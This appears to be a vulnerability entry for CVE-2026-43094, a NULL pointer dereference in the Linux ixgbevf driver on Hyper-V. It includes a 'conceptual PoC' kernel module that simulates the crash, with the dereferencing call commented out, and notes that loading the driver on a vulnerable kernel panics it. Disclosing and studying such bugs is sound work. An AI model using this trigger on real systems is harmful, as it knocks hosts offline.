CVE-2026-43094: Linux内核ixgbevf驱动空指针引用漏洞

/* * Conceptual PoC for CVE-2026-43094 * Trigger: Loading the ixgbevf driver on a Hyper-V VM running a vulnerable kernel. * The crash occurs automatically during driver initialization (probe). */ #include <linux/module.h> #include <linux/kernel.h> // This simulates the missing function pointer in the Hyper-V ops table // In the vulnerable code, hw->mac.ops.negotiate_features is NULL. void simulated_trigger(void) { // The vulnerability is a NULL pointer dereference. // Real exploit: Just load the module 'ixgbevf'. void (*null_func)(void) = NULL; printk(KERN_INFO "Attempting to trigger NULL pointer dereference...\n"); // This line causes the Kernel Panic/Oops in the vulnerable scenario // null_func(); // Note: Actual exploitation requires the hardware environment (Hyper-V) // and the vulnerable kernel version. The crash happens in ixgbevf_negotiate_api. } int init_module(void) { simulated_trigger(); return 0; } void cleanup_module(void) { printk(KERN_INFO "Module unloaded\n"); }